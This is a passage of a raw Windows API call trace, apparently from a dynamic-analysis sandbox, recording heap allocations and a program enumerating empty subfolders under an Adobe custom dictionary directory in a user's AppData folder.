hHeap=0x5010000) returned 1 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.712] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da2f0 [0114.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109e30 [0114.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0114.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0114.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0114.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0114.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.713] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.713] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.713] PathFindFileNameW (pszPath="") returned="" [0114.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.713] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.714] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.714] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.714] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.715] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22e98 [0114.715] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="brz\\" [0114.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.715] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.715] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.715] PathFindFileNameW (pszPath="") returned="" [0114.715] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.716] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.716] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.716] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.716] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="dan\\" [0114.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.717] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.717] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.717] PathFindFileNameW (pszPath="") returned="" [0114.717] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.717] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.717] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.717] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.718] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.718] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="dut\\" [0114.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.718] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.718] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.718] PathFindFileNameW (pszPath="") returned="" [0114.718] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.718] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.719] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.719] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.719] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.719] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="eng\\" [0114.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.719] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.719] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.719] PathFindFileNameW (pszPath="") returned="" [0114.719] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.720] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, 